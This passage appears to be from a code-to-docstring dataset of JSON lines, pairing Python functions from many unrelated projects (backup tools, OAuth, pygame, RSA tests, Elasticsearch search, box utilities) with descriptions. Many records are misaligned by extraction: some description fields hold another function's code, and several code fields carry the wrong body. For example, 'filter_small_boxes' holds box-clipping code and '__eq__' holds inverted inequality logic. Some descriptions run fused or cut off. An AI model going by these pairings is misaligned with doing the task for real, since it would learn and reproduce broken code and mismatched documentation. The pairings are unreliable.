(self.archive_dir_path,)]\n\n for i in range(len(self.other_backup_chains)):\n l.append(\"chain-no-sig %d\" % (i,))\n l += self.other_backup_chains[i].to_log_info(' ')\n\n if self.matched_chain_pair:\n l.append(\"chain-complete\")\n l += self.matched_chain_pair[1].to_log_info(' ')\n\n l.append(\"orphaned-sets-num %d\" % (len(self.orphaned_backup_sets),))\n l.append(\"incomplete-sets-num %d\" % (len(self.incomplete_backup_sets),))\n\n return l\n", "nl": "Return summary of the collection, suitable for printing to log"} {"code": "def password_grant_type(self, areq):\n return error_response(\"unsupported_grant_type\", descr=\"Unsupported grant_type\")\n", "nl": "Token authorization using Resource owner password credentials.RFC6749 section 4.3"} {"code": "def __init__(self, parent):\n self.pos = 0\n self.children = parent.children\n", "nl": "@param parent: An element to iterate.@type parent: L{Element}"} {"code": "def wilsonB(self, xyz):\n global CacheWarning\n t0 = time.time()\n xhash = hash(xyz.tostring())\n ht = time.time() - t0\n if xhash in self.stored_wilsonB:\n ans = self.stored_wilsonB[xhash]\n return ans\n WilsonB = []\n Der = self.derivatives(xyz)\n for i in range(Der.shape[0]):\n WilsonB.append(Der[i].flatten())\n self.stored_wilsonB[xhash] = np.array(WilsonB)\n if len(self.stored_wilsonB) > 1000 and not CacheWarning:\n logger.warning(\"\\x1b[91mWarning: more than 1000 B-matrices stored, memory leaks likely\\x1b[0m\\n\")\n CacheWarning = True\n ans = np.array(WilsonB)\n return ans\n", "nl": "Given Cartesian coordinates xyz, return the Wilson B-matrixgiven by dq_i/dx_j where x is flattened (i.e. x1, y1, z1, x2, y2, z2)"} {"code": "def best_match(self, req, working_set, installer=None):\n dist = working_set.find(req)\n if dist is not None:\n return dist\n for dist in self[req.key]:\n if dist in req:\n return dist\n return self.obtain(req, installer)\n", "nl": "Find distribution best matching `req` and usable on `working_set`This calls the ``find(req)`` method of the `working_set` to see if asuitable distribution is already active. (This may raise``VersionConflict`` if an unsuitable version of the project is alreadyactive in the specified `working_set`.) If a suitable distributionisn't active, this method returns the newest distribution in theenvironment that meets the ``Requirement`` in `req`. If no suitabledistribution is found, and `installer` is supplied, then the result ofcalling the environment's ``obtain(req, installer)`` method will bereturned."} {"code": "def music_stop(self, p_bRestart = m_bPauseMusic, p_bRealStop = True):\n try:\n if mixer.music.get_busy():\n if p_bRealStop: self._fade_out()\n mixer.music.stop()\n if p_bRestart:\n self.m_sMusicState = 'pause'\n self.m_iSongPos += mixer.music.get_pos()/1000\n logging.info(\"INFO: pausing music time at {%ss}\" % self.m_iSongPos)\n else:\n self.m_sMusicState = 'stop'\n self.m_iSongPos = 0\n logging.info(\"INFO: halted music as {%s}\" % self.m_sMusicState)\n except:\n self.m_iSongPos = 0\n self.m_sMusicState = 'stop'\n if p_bRealStop: self._quit_pygame()\n", "nl": "You can change stop mode in function, by default will takevalue from m_bPauseMusic, but you can change for stopinstead of pause on ES exiting."} {"code": "def __init__(self, fpath: str):\n fpath = os.path.abspath(fpath)\n self.fpath = fpath\n self._confs = None\n", "nl": "Module filepath.:param fpath:"} {"code": "def _register_single_hook(self, layer_name):\n", "nl": "Register hook to a layer, given layer_name, to obtain activations.Args:layer_name (str): name of the layer."} {"code": "def filter(names, pat):\n\n This is a version of fnmatch() which doesn't case-normalize\n its arguments.\n \"\"\"", "nl": "Return the subset of the list NAMES that match PAT.result = []pat = os.path.normcase(pat)match = _compile_pattern(pat)if os.path is posixpath:# normcase on posix is NOP. Optimize it away from the loop.for name in names:if match(name):result.append(name)else:for name in names:if match(os.path.normcase(name)):result.append(name)return resultdef fnmatchcase(name, pat):Test whether FILENAME matches PATTERN, including case."} {"code": "def test_provides_needs_with_inheritence_on_method_level(checkpoint):\n session_start_a = Checkpoint()\n session_start_b = Checkpoint()\n test_start_a = Checkpoint()\n test_start_b = Checkpoint()\n\n class PluginAParent(slash.plugins.interface.PluginInterface):\n\n @slash.plugins.provides('x')", "nl": "Plugin A: Provides x in method level (by it self or by inheritence) to test_start & session_startPlugin b: Needs x in method level (by it self or by inheritence) on test_start & session_start"} {"code": "def set_vf_mac(ethname, mac_addr, vf_idx=0, session=None):\n cmd = \"ip link set {0} vf {1} mac {2}\".format(ethname, vf_idx, mac_addr)\n return utils_misc.cmd_status_output(\n cmd, shell=True, verbose=True, session=session)\n\n", "nl": "Set mac address for VF:param ethname: The name of the network interface:param mac_addr: The mac address to be set:param vf_idx: The index of VF:param session: The session object to the host:return: The command status and output"} {"code": "def test_eqSameClass(self):\n cipher1 = sslverify.OpenSSLCipher(self.cipherName)\n cipher2 = sslverify.OpenSSLCipher(self.cipherName)\n self.assertEqual(cipher1, cipher2)\n\n", "nl": "Equal type and C{fullName} means that the objects are equal."} {"code": "def test_get_text_invalid_keyword(self):\n with self.assertRaises(TypeError):\n raw_data_manager.get_content(m, foo='ignore')\n", "nl": "m = self._str_msg(textwrap.dedent(\\Content-Type: text/plainBasic text.))"} {"code": "def get_name(self):\n return self.name\n", "nl": "Function to get the name of this entry.Returns-------name : strName given to denote this structure. Mainly used for book-keeping."} {"code": "def jsonNode(self, lineNumbers, memo):\n out = self.startDict(lineNumbers)\n out[\"foreach\"] = self.name\n out[\"in\"] = self.array.jsonNode(lineNumbers, memo)\n out[\"do\"] = [x.jsonNode(lineNumbers, memo) for x in self.body]\n out[\"seq\"] = self.seq\n return out\n\n desc = \"foreach\"\n\n @titus.util.case\n class Context(ExpressionContext):", "nl": "Convert this abstract syntax tree to Pythonized JSON.:type lineNumbers: bool:param lineNumbers: if ``True``, include locator marks in each JSON object:type memo: set of string:param memo: used to avoid recursion; provide an empty set if unsure:rtype: Pythonized JSON:return: JSON representation"} {"code": "def addfinalizer(self, finalizer, colitem):\n assert colitem and not isinstance(colitem, tuple)\n assert callable(finalizer)", "nl": " attach a finalizer to the given colitem.if colitem is None, this will add a finalizer thatis called at the end of teardown_all()."} {"code": "def get_services(self) -> list[dict]:\n services = []\n for filename in iglob(\"/etc/nginx/**/variables.env\"):\n env = self.__env_to_dict(filename)\n services.append(env)\n\n return services\n", "nl": "Get nginx's servicesReturns-------listThe services"} {"code": "def test_ok_opt_null(self) -> None:\n object_repr = '{\"pos\": {\"x_val\": 1, \"y_val\": 2}}'\n nested: Nested = type_checked_call()(Nested)(**json.loads(object_repr))\n self.check_result(nested)\n", "nl": "Valid JSON string with optional explicitly being None.object_repr = '{\"pos\": {\"x_val\": 1, \"y_val\": 2}, \"opt_pos2\": null}'nested: Nested = type_checked_call()(Nested)(**json.loads(object_repr))self.check_result(nested)def test_ok_opt_missing(self) -> None:Valid JSON string without optional field."} {"code": "def list(self, request, version):\n params_form = self._meta.indexer.form(data=request.query_params)\n\n if not params_form.is_valid():\n return Response(status=400, data={\"errors\": params_form.errors})\n\n limit, offset, query = params_form.build_es_query()\n\n query[\"sort\"] = [\n {f\"title_raw.{get_language_from_request(request)}\": {\"order\": \"asc\"}}\n ]\n\n search_query_response = ES_CLIENT.search(\n _source=getattr(self._meta.indexer, \"display_fields\", \"*\"),\n index=self._meta.indexer.index_name,\n body=query,\n from_=offset,\n size=limit or getattr(settings, \"RICHIE_ES_PAGE_SIZE\", ES_PAGE_SIZE),\n )\n\n response_object = {\n \"meta\": {\n \"count\": len(search_query_response[\"hits\"][\"hits\"]),\n \"offset\": offset,\n \"total_count\": search_query_response[\"hits\"][\"total\"][\"value\"],\n },\n \"objects\": [\n self._meta.indexer.format_es_object_for_api(\n person,\n get_language_from_request(request),\n )\n for person in search_query_response[\"hits\"][\"hits\"]\n ],\n }\n return Response(response_object)\n", "nl": "Person search endpoint: pass query params to ElasticSearch so it filterspersons and returns a list of matching items"} {"code": "def process(self):\n method = self.args['method'][0]\n self.method = method\n file_path = self.args[\"file_path\"]\n time_step = self.args[\"time step\"]\n max_number_of_formants = self.args[\"max number of formants\"]\n max_formant = self.args[\"max_formant (To Formant Burg...)\"]\n window_length = self.args[\"window length(s)\"]\n pre_emphasis = self.args[\"pre emphasis from\"]\n center_formant = self.args[\"Center Formant (Formant Path)\"]\n ceiling_step_size = self.args[\"Ceiling Step Size (Formant Path)\"]\n number_of_steps = self.args[\"Number of Steps (Formant Path)\"]\n\n signal, sampling_rate = self.args['voice']\n sound: parselmouth.Sound = parselmouth.Sound(signal, sampling_rate)\n\n try:\n if max_formant == 0:\n max_formant = self.max_formant(file_path=file_path)\n if method == 'To Formant Burg...' or method == 'T':\n formant_object = self.measure_formants_burg(\n file_path,\n time_step,\n max_number_of_formants,\n max_formant,\n window_length,\n pre_emphasis\n )\n\n elif method == 'Formant Path' or method == 'F':\n if center_formant == 0:\n f_center = self.max_formant(sound)", "nl": "Returns the means and medians of the 1st 4 formants, and the Praat formant object for use in VTL estimates and plots.:return: The max formant value:rtype: int"} {"code": "def contribute_to_stream(self, active: StreamT) -> None:\n await self.stop()\n", "nl": "Add stream as node in joined stream.self.outbox = active.outboxasync def remove_from_stream(self, stream: StreamT) -> None:Remove as node in a joined stream."} {"code": "def filter_small_boxes(boxes, min_size):\n boxes[:, [0, 2]] = np.minimum(width - 1., np.maximum(0., boxes[:, [0, 2]]))\n boxes[:, [1, 3]] = np.minimum(height - 1., np.maximum(0., boxes[:, [1, 3]]))\n return boxes\n\n", "nl": "Keep boxes with width and height both greater than min_size.w = boxes[:, 2] - boxes[:, 0] + 1h = boxes[:, 3] - boxes[:, 1] + 1keep = np.where((w > min_size) & (h > min_size))[0]return keepdef clip_boxes_to_image(boxes, height, width):Clip an array of boxes to an image with the given height and width."} {"code": "def __eq__(self, other):\n if not isinstance(other, V1alpha1InfoResponse):\n return True\n\n return self.to_dict() != other.to_dict()", "nl": "Returns true if both objects are equalif not isinstance(other, V1alpha1InfoResponse):return Falsereturn self.to_dict() == other.to_dict()def __ne__(self, other):Returns true if both objects are not equal"} {"code": "def execlines_action(self):\n '''", "nl": "execute selected lines in console. import textwrapa=editor.get_text()[editor.get_line_selection()[0]:editor.get_line_selection()[1]]exec(textwrap.dedent(a))def finddocstring(self): find the docstring at current cursor location"} {"code": "def stop(self):\n for holiday in self.testHolidays.keys():\n if taskMgr.hasTaskNamed(\"testHoliday_\" + str(holiday)):\n taskMgr.remove(\"testHoliday_\" + str(holiday))\n self.air.holidayManager.endHoliday(holiday, True)\n", "nl": "End all the Test holidays"} {"code": "def on_input_changed(self, entry):\n query = self._get_user_query()\n self.input.set_text(query)\n ModeHandler.get_instance().on_query_change(query)\n\n @Gtk.Template.Callback()", "nl": "Triggered by user input"} {"code": "def scan_yum(self):\n try:\n import yum\n except ImportError:\n return False\n\n logging.info('searching for yum packages')\n\n self.scan_mode = 'yum'\n\n yb = yum.YumBase()\n yb.conf.cache = 1\n for pkg in sorted(yb.rpmdb.returnPackages()):\n pkgtag = pkg.__str__()\n\n if pkgtag in self.core_pkgs:\n continue\n\n reqs = pkg.required_packages()\n for req in reqs:\n reqtag = req.__str__()\n if reqtag in self.user_pkgs:\n del self.user_pkgs[reqtag]\n\n if reqtag not in self.core_pkgs:\n self.core_pkgs[reqtag] = req\n\n thepkg = yb.pkgSack.searchNevra(pkg.name, pkg.epoch, pkg.version, pkg.release, pkg.arch)\n if len(thepkg)==0 or thepkg[0].verEQ(pkg)==False:\n continue\n\n self.user_pkgs[pkgtag] = pkg\n\n return True\n", "nl": "scan the redhat family platform with yum api"} {"code": "def map_to_openvino_devices():\n", "nl": "Intelligently load capsules onto available OpenVINO-compatibledevices.Since support for OpenVINO devices is experimental, there is atemporary environment variable being added to whitelist devicesspecifically. This variable will be deprecated and removed after ashort testing period.The device \"CPU\" is _always_ allowed and always loaded onto and cannotbe excluded.Here are the cases:['CPU:0', 'HDDL', ...] => [\"MULTI:CPU,HDDL\"]['CPU:0'] => [\"CPU\"]Always load onto CPU."} {"code": "def get_current_mulfix(self, totmoney=None):\n if self.trades:\n if totmoney is None:\n totmoney = self.totmoney\n return mulfix(\n *[v for _, v in self.trades.items()],\n totmoney=totmoney,\n cashobj=cashinfo(start=self.start),\n )\n else:\n return\n", "nl": "get ``xa.mulfix`` of the whole setup:return:"} {"code": "def __setattr__(self, name, value):\n if name in self.__by_name or name.startswith('_Message__'):\n object.__setattr__(self, name, value)\n else:\n raise AttributeError(\"May not assign arbitrary value %s \"\n \"to message %s\" % (name, type(self).__name__))\n", "nl": "Change set behavior for messages.Messages may only be assigned values that are fields.Does not try to validate field when set.Args:name: Name of field to assign to.value: Value to assign to field.Raises:AttributeError when trying to assign value that is not a field."} {"code": "def _read_bytes(fp, size, error_template=\"ran out of data\"):\n data = bytes()\n while True:", "nl": "Read from file-like object until size bytes are read.Raises ValueError if not EOF is encountered before size bytes are read.Non-blocking objects only supported if they derive from io objects.Required as e.g. ZipExtFile in python 2.6 can return less data thanrequested."} {"code": "def abspath(path):\n\n if path:\n try:\n path = _getfullpathname(path)\n except WindowsError:\n pass\n else:\n path = os.getcwd()\n return normpath(path)\n\nrealpath = abspath\nsupports_unicode_filenames = (hasattr(sys, \"getwindowsversion\") and\n sys.getwindowsversion()[3] >= 2)", "nl": "Return the absolute version of a path.if not isabs(path):path = join(os.getcwd(), path)if not splitunc(path)[0] and not splitdrive(path)[0]:# cwd lacks a UNC mount point, so it should have a drive# letter (but lacks one): determine itcanon_path = newString(java.io.File(path).getCanonicalPath())drive = splitdrive(canon_path)[0]path = join(drive, path)return normpath(path)else: # use native Windows method on Windowsdef abspath(path):Return the absolute version of a path."} {"code": "def xy(self):\n self._xy = self._get('xy')\n return self._xy\n\n @xy.setter", "nl": "Get or set the color coordinates of the light [ [0.0-1.0, 0.0-1.0] ]This is in a color space similar to CIE 1931 (but not quite identical)"} {"code": "def testImportKey9(self):\n key = RSA.importKey(self.rsaKeyPEM8)\n self.assertTrue(key.has_private())\n self.assertEqual(key.n, self.n)\n self.assertEqual(key.e, self.e)\n self.assertEqual(key.d, self.d)\n self.assertEqual(key.p, self.p)\n self.assertEqual(key.q, self.q)\n", "nl": "Verify import of unencrypted PrivateKeyInfo DER SEQUENCEkey = RSA.importKey(self.rsaKeyDER8)self.assertTrue(key.has_private())self.assertEqual(key.n, self.n)self.assertEqual(key.e, self.e)self.assertEqual(key.d, self.d)self.assertEqual(key.p, self.p)self.assertEqual(key.q, self.q)def testImportKey10(self):Verify import of unencrypted PrivateKeyInfo DER SEQUENCE, encoded with PEM"} {"code": "def eval_func(self, data_batch, var_scope):\n\n raise NotImplementedError\n", "nl": " Function using self.NN_model to compute performance scores for a given modelArgs :data_batch : a batch of data containing all the features encoded in the record filesvar_scope : a tensorflow var_scopeReturn :perfs_dict : dictionnary containing different performance scores for the whole batchkey = name of the performance scoreitem = score for this performance for the batch (this value will be average over all the batches)nn_outputs : list of tensors to get out of tensorflow and to pass to the export results function"} {"code": "def opt_get_if_access(level, point, ba_arr, pa_arr):\n\n ex_order_index = min(point.loop_orders[le.OX][level],\n point.loop_orders[le.OY][level],\n point.loop_orders[le.IC][level],\n point.loop_orders[le.ON][level])\n\n fx_exclusive = point.loop_orders[le.FX][level] < ex_order_index\n fy_exclusive = point.loop_orders[le.FY][level] < ex_order_index\n oc_exclusive = point.loop_orders[le.OC][level] < ex_order_index\n\n fx_acc = ba_arr[le.FX][level+fx_exclusive]\n fy_acc = ba_arr[le.FY][level+fy_exclusive]\n oc_acc = ba_arr[le.OC][level+oc_exclusive]\n\n fx_par = pa_arr[le.FX][level]\n fy_par = pa_arr[le.FY][level]\n oc_par = pa_arr[le.OC][level]\n\n return fx_acc * fy_acc * oc_acc * fx_par * fy_par * oc_par\n\n", "nl": "Get # access of if block at current levelThe repeated access to ifmap is determined by the blocking factors andparallelism counts of those loops other than ifmap-related loops outside ofthis level.At the same buffer level, if the other loops are outside of the innermostloop of ifmap-related loops, their blocking factors and parallelism countsat this level should also contribute to the number of accesses."} {"code": "def pytest_unconfigure(config):\n\n\n\n", "nl": " called before test process is exited.:param _pytest.config.Config config: pytest config object"} {"code": "def dcg_at_k(r, k, num_trgs, method=1):\n num_predictions = r.shape[0]\n if k == 'M':\n k = num_predictions\n elif k == 'G':\n if num_predictions < num_trgs:\n k = num_trgs\n else:\n k = num_predictions\n\n if num_predictions == 0:\n dcg = 0.\n else:\n if num_predictions > k:\n r = r[:k]\n num_predictions = k\n if method == 0:\n dcg = r[0] + np.sum(r[1:] / np.log2(np.arange(2, r.size + 1)))\n elif method == 1:\n discounted_gain = r / np.log2(np.arange(2, r.size + 2))\n dcg = np.sum(discounted_gain)\n else:\n raise ValueError('method must be 0 or 1.')\n return dcg\n\n", "nl": "Reference from https://www.kaggle.com/wendykan/ndcg-example and https://gist.github.com/bwhite/3726239Score is discounted cumulative gain (dcg)Relevance is positive real values. Can use binaryas the previous methods.Example fromhttp://www.stanford.edu/class/cs276/handouts/EvaluationNew-handout-6-per.pdfArgs:r: Relevance scores (list or numpy) in rank order(first element is the first item)k: Number of results to considermethod: If 0 then weights are [1.0, 1.0, 0.6309, 0.5, 0.4307, ...]If 1 then weights are [1.0, 0.6309, 0.5, 0.4307, ...]Returns:Discounted cumulative gain"} {"code": "def setup_mock_server(self, handler):\n is still as expected by `get_expired_cookies()`.\n \"\"\"\n", "nl": "Configure mock server.# Passing 0 as the port will cause a random free port to be chosen.self.mock_server = HTTPServer(('localhost', 0), handler)_, self.mock_server_port = self.mock_server.server_address# Start running mock server in a separate thread.# Daemon threads automatically shut down when the main process exits.self.mock_server_thread = Thread(target=self.mock_server.serve_forever)self.mock_server_thread.setDaemon(True)self.mock_server_thread.start()def test_cookie_parser(self):Not directly testing HTTPie but `requests` to ensure their cookies handling"} {"code": "def current_path(self):\n\n if not self.current_url:\n return\n\n result = urlparse(self.current_url)\n scheme, netloc = result.scheme, result.netloc\n host = netloc.split(\":\")[0] if netloc else None\n return \"{0}://{1}\".format(scheme, host) if host else None\n\n @property", "nl": " str: Path of the current page, without any domain information. if not self.current_url:returnpath = urlparse(self.current_url).pathreturn path if path else None@propertydef current_host(self): str: Host of the current page. "} {"code": "def quantile_normalization(self):\n rank_matrix = []\n for c in range(self.all_table.shape[1]):\n col = self.all_table[:, c]\n rank_col = mstats.rankdata(col)\n rank_matrix.append(rank_col)\n\n ranks = numpy.array(rank_matrix)\n trans_rank = numpy.transpose(ranks)\n\n print(\" Calculating for the mean of ranked data...\")\n sort_matrix = numpy.sort(self.all_table, axis=0)\n means = []\n for r in range(self.all_table.shape[0]):\n row = [x for x in sort_matrix[r, :]]\n means.append(numpy.mean(row))\n\n print(\" Replacing the data value by normalized mean...\")\n normalized_table = numpy.around(trans_rank)\n for i, v in enumerate(means):\n normalized_table[normalized_table == i + 1] = v\n self.norm_table = normalized_table\n", "nl": " Return the np.array which contains the normalized values"} {"code": "def add_failure_cleanup(self, function, *args, **kwargs):\n\n This will run any failure cleanups if the transfer failed if not\n they have not been run, allows the result() to be unblocked, and will\n run any done callbacks associated to the TransferFuture if they have\n not already been ran.\n \"\"\"", "nl": "Adds a callback to call upon failurewith self._failure_cleanups_lock:self._failure_cleanups.append(FunctionContainer(function, *args, **kwargs))def announce_done(self):Announce that future is done running and run associated callbacks"} {"code": "def test_bert_pretrainer(self):\n test_network = networks.BertEncoder(\n vocab_size=100, num_layers=2, sequence_length=2)\n\n bert_trainer_model = bert_pretrainer.BertPretrainer(\n test_network, num_classes=2, num_token_predictions=2)\n\n word_ids = tf.constant([[1, 1], [2, 2]], dtype=tf.int32)\n mask = tf.constant([[1, 1], [1, 0]], dtype=tf.int32)\n type_ids = tf.constant([[1, 1], [2, 2]], dtype=tf.int32)\n lm_mask = tf.constant([[1, 1], [1, 0]], dtype=tf.int32)\n\n _ = bert_trainer_model([word_ids, mask, type_ids, lm_mask])\n", "nl": "Validate that the Keras object can be created.# Build a transformer network to use within the BERT trainer.vocab_size = 100sequence_length = 512test_network = networks.BertEncoder(vocab_size=vocab_size,num_layers=2,max_sequence_length=sequence_length)# Create a BERT trainer with the created network.num_classes = 3num_token_predictions = 2bert_trainer_model = bert_pretrainer.BertPretrainer(test_network,num_classes=num_classes,num_token_predictions=num_token_predictions)# Create a set of 2-dimensional inputs (the first dimension is implicit).word_ids = tf.keras.Input(shape=(sequence_length,), dtype=tf.int32)mask = tf.keras.Input(shape=(sequence_length,), dtype=tf.int32)type_ids = tf.keras.Input(shape=(sequence_length,), dtype=tf.int32)masked_lm_positions = tf.keras.Input(shape=(num_token_predictions,), dtype=tf.int32)# Invoke the trainer model on the inputs. This causes the layer to be built.outputs = bert_trainer_model([word_ids, mask, type_ids, masked_lm_positions])# Validate that the outputs are of the expected shape.expected_lm_shape = [None, num_token_predictions, vocab_size]expected_classification_shape = [None, num_classes]self.assertAllEqual(expected_lm_shape, outputs['masked_lm'].shape.as_list())self.assertAllEqual(expected_classification_shape,outputs['classification'].shape.as_list())def test_bert_trainer_tensor_call(self):Validate that the Keras object can be invoked."} {"code": "def test_add_trace_to_stream(self):\n st0 = read()\n st1 = st0[0:2]\n tr = st0[2]\n assert st1.__add__(tr) == st0\n assert st1 + tr == st0\n st1 += tr\n assert st1 == st0\n", "nl": "Tests using a Trace on __add__ and __iadd__ methods of the Stream."} {"code": "def _new_connection(self):\n raise NotImplementedError\n", "nl": "Estabilish a new connection (to be implemented in subclasses)."} {"code": "def intersection(self, geom, **kwargs):\n return self._geomset_attribute('intersection', geom, **kwargs)\n", "nl": "Returns the spatial intersection of the Geometry field inan `intersection` attribute on each element of thisGeoQuerySet."} {"code": "def equal(x1, x2):\n return compare_chararrays(x1, x2, '==', True)\n", "nl": "Return (x1 == x2) element-wise.Unlike `numpy.equal`, this comparison is performed by firststripping whitespace characters from the end of the string. Thisbehavior is provided for backward-compatibility with numarray.Parameters----------x1, x2 : array_like of str or unicodeInput arrays of the same shape.Returns-------out : ndarray or boolOutput array of bools, or a single bool if x1 and x2 are scalars.See Also--------not_equal, greater_equal, less_equal, greater, less"} {"code": "def do_init(author: str, reset: bool, registry: bool, no_subscribe: bool) -> None:\n config = get_or_create_cli_config()\n if reset or config.get(AUTHOR_KEY, None) is None:\n author = validate_author_name(author)\n if registry:\n _registry_init(username=author, no_subscribe=no_subscribe)\n\n update_cli_config({AUTHOR_KEY: author})\n config = get_or_create_cli_config()\n config.pop(AUTH_TOKEN_KEY, None)\n success_msg = \"AEA configurations successfully initialized: {}\".format(config)\n else:\n config.pop(AUTH_TOKEN_KEY, None)\n success_msg = \"AEA configurations already initialized: {}. To reset use '--reset'.\".format(\n config\n )\n click.echo(AEA_LOGO + \"v\" + __version__ + \"\\n\")\n click.echo(success_msg)\n\n", "nl": "Initialize your AEA configurations.:param author: str author username.:param reset: True, if resetting the author name:param registry: True, if registry is used:param no_subscribe: bool flag for developers subscription skip on register."} {"code": "def newScene(self):\n rev = self.simplex.DCC.getRevision()\n data = self.simplex.stack.getRevision(rev)\n if data is not None:\n self.setSystem(data)\n self.uiSliderTREE.setItemExpansion()\n self.uiComboTREE.setItemExpansion()\n", "nl": " Call this before a new scene is created. Usually called from the stack self.clearSelectedObject()def handleUndo(self): Call this after an undo/redo action. Usually called from the stack "} {"code": "def __init__(self, bundle):\n self.bundle = bundle\n self.released = False\n self.id = Instance._id\n Instance._id += 1\n", "nl": ":param bundle: Bundle associated to the service instance"} {"code": "def test_noValueKey(self):\n class FakeSentence(object):\n \"\"\"", "nl": "Tests that when no C{valueKey} is provided, C{unitKey} is used, minusC{\"Units\"} at the end."} {"code": "def take_unary_stream(self, method_descriptor):\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Draws an RPC currently being made by the system under test.If the given descriptor does not identify any RPC currently being madeby the system under test, this method blocks until the system undertest invokes such an RPC.Args:method_descriptor: A descriptor.MethodDescriptor describing aunary-stream RPC method.Returns:A (invocation_metadata, request, unary_stream_channel_rpc) tuple ofthe RPC's invocation metadata, its request, and aUnaryStreamChannelRpc with which to \"play server\" for the RPC."} {"code": "def setup_class(cls):\n assert self.result.exit_code == 1\n", "nl": "Set the test up.cls.runner = CliRunner()cls.agent_name = \"myagent\"cls.cwd = os.getcwd()cls.t = tempfile.mkdtemp()# copy the 'packages' directory in the parent of the agent folder.shutil.copytree(Path(ROOT_DIR, \"packages\"), Path(cls.t, \"packages\"))os.chdir(cls.t)result = cls.runner.invoke(cli, [*CLI_LOG_OPTION, \"init\", \"--local\", \"--author\", AUTHOR])assert result.exit_code == 0result = cls.runner.invoke(cli,[*CLI_LOG_OPTION, \"create\", \"--local\", cls.agent_name],standalone_mode=False,)assert result.exit_code == 0Path(cls.t, cls.agent_name, DEFAULT_AEA_CONFIG_FILE).write_text(\"\")os.chdir(Path(cls.t, cls.agent_name))cls.result = cls.runner.invoke(cli, [*CLI_LOG_OPTION, \"run\"], standalone_mode=False)def test_exit_code_equal_to_1(self):Assert that the exit code is equal to 1 (i.e. catchall for general errors)."} {"code": "def parse_data_association(self, kll_expression, quiet=False):\n from kll.common.parse import (", "nl": "Parse data association expressions <= ;"} {"code": "def raw_validation(error):\n if isinstance(error, ValidationError):\n if hasattr(error, 'error_dict'):\n error = error.error_dict\n elif not hasattr(error, 'message'):\n error = error.error_list\n else:\n error = error.message\n\n if isinstance(error, dict):\n return {key: raw_validation(value) for key, value in error.items()}\n elif isinstance(error, list):\n return [raw_validation(value) for value in error]\n else:\n return error", "nl": "Deconstruct a django.forms.ValidationError into a primitive structureeg, plain dicts and lists."} {"code": "def process_event(event):\n if event.type == EventType.ON_CONVERSATION_TURN_STARTED:\n print()\n GPIO.output(25,True)\n\n print(event)\n\n if (event.type == EventType.ON_CONVERSATION_TURN_FINISHED and\n event.args and not event.args['with_follow_on_turn']):\n print()\n GPIO.output(25,False)\n\n", "nl": "Pretty prints events.Prints all events that occur with two spaces between each newconversation and a single space between turns of a conversation.Args:event(event.Event): The current event to process."} {"code": "def Generate(self):\n All per-URL processing comes together here, regardless of Input.\n Here we run filters, remove duplicates, spill to disk as needed, etc.\n \"\"\"", "nl": " Run over all the Inputs and ask them to Produce # Run the inputsfor input in self._inputs:input.ProduceURLs(self.ConsumeURL)# Do last flushesif len(self._set):self.FlushSet()if not self._sitemaps:output.Warn('No URLs were recorded, writing an empty sitemap.')self.FlushSet()# Write an index as neededif self._sitemaps > 1:self.WriteIndex()# Notifyself.NotifySearch()# Dump statsself._stat.Log()#end def Generatedef ConsumeURL(self, url, allow_fragment):"} {"code": "def tearDown(self):\n logger = getLogger()\n logger.removeHandler(self.__test_log_handler)\n self.__test_log_handler.close()\n for handler in self.__backup_log_handlers:\n logger.addHandler(handler)\n logger.setLevel(self.__backup_loglevel)\n", "nl": "Do clean-up jobs.When redefining this method in child classes, make sure to call it afterchild's teardown has been completed."} {"code": "def register(cls, name, klass, content_type='text/plain'):\n cls.EMITTERS[name] = (klass, content_type)\n\n @classmethod", "nl": "Register an emitter.Parameters::- `name`: The name of the emitter ('json', 'xml', 'yaml', ...)- `klass`: The emitter class.- `content_type`: The content type to serve response as."} {"code": "def to_dict(self):\n return json.dumps(self.to_dict(), indent=2, sort_keys=True) + \"\\n\"\n", "nl": "Serializes this instance to a Python dictionary.output = copy.deepcopy(self.__dict__)return outputdef to_json_string(self):Serializes this instance to a JSON string."} {"code": "def plus_or_dot(pieces):\n\n Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n Exceptions:\n 1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]\n \"\"\"", "nl": "Return a + if we don't already have one, else return a .if \"+\" in pieces.get(\"closest-tag\", \"\"):return \".\"return \"+\"def render_pep440(pieces):Build up version string, with post-release \"local version identifier\"."} {"code": "def setAnimState(self, state):\n self.setState(state)\n\n\n\n\n", "nl": "This is an alias for setState(). It allows Suits to go throughdoors without needing conditionals."} {"code": "def get_num_total_memories(config):\n local_device_count = jax.local_device_count()\n device_count = jax.device_count()\n process_count = jax.process_count()\n process_index = jax.process_index()\n\n task = memory_generation_task.MemoryGenerationTask\n model_config = ml_collections.FrozenConfigDict(config.model_config)\n model = task.build_model(model_config)\n p_predict_step = jax.pmap(\n functools.partial(\n task.make_prediction_fn(config),\n model_config,\n ),\n axis_name='batch')\n rng = jax.random.PRNGKey(config.seed)\n\n dummy_input = {\n key: jnp.tile(value, (local_device_count,) + (1,) * value.ndim)\n for key, value in task.dummy_input(config).items()\n }\n\n rng, init_rng = jax.random.split(rng)\n init_rng = jax.random.split(init_rng, local_device_count)\n\n logging.info('Initializing model.')\n initial_variables = jax.pmap(\n model.init, 'batch', static_broadcasted_argnums=2)(init_rng, dummy_input,\n True)\n logging.info('Finished initializing model.')\n initial_variables = initial_variables.unfreeze()\n\n if config.load_weights is not None:\n logging.info('Loading model weights from file')\n loaded_variables = task.load_weights(config)\n unexpected, missing = checkpoint_utils.merge_nested_dicts(\n initial_variables, loaded_variables)\n logging.info('*** Unexpected features: ***')\n for feature_name in unexpected:\n logging.info('\\t%s', feature_name)\n if len(missing) > 0:\n raise ValueError('Missing features: %s' % ','.join(missing))\n\n model_params = initial_variables['params']\n model_vars = {\n key: value for key, value in initial_variables.items() if key != 'params'\n }\n del initial_variables\n", "nl": "Computes the total number of mentions in the corpus.logging.info('Estimating the total number of memories to be generated.')data_iter = get_data_iterator(config)start_time = time.time()num_total_memories = 0for batch in data_iter:batch_jax = jax.tree_map(np.asarray, batch)num_total_memories += batch_jax['mention_target_weights'].sum()logging.info('Found %d memories in %.2f seconds', num_total_memories,time.time() - start_time)return num_total_memoriesdef generate(config: ml_collections.ConfigDict):Generates memories."} {"code": "def create_widget(self):\n self.widget = QCheckBox(self.parent_widget())", "nl": " Create the underlying check box widget."} {"code": "def _publish_channel(self, name=None):\n if not name:\n return self._message.channel\n try:\n return self._channels[name]\n except KeyError:\n raise ValueError('Channel {} not found'.format(name))\n", "nl": "Return the channel to publish onm optionally specifying the channelname to use.:param str 